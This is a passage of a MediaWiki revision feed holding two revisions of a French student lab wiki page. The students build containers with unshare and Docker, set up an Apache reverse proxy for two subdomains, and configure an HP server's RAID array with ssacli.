  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP XXXXXX, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP XXXXXXX.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48102</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48102"/>
				<updated>2018-11-27T09:33:54Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Configurations réseau */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec Docker :==&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP XXXXXX, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP XXXXXXX.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
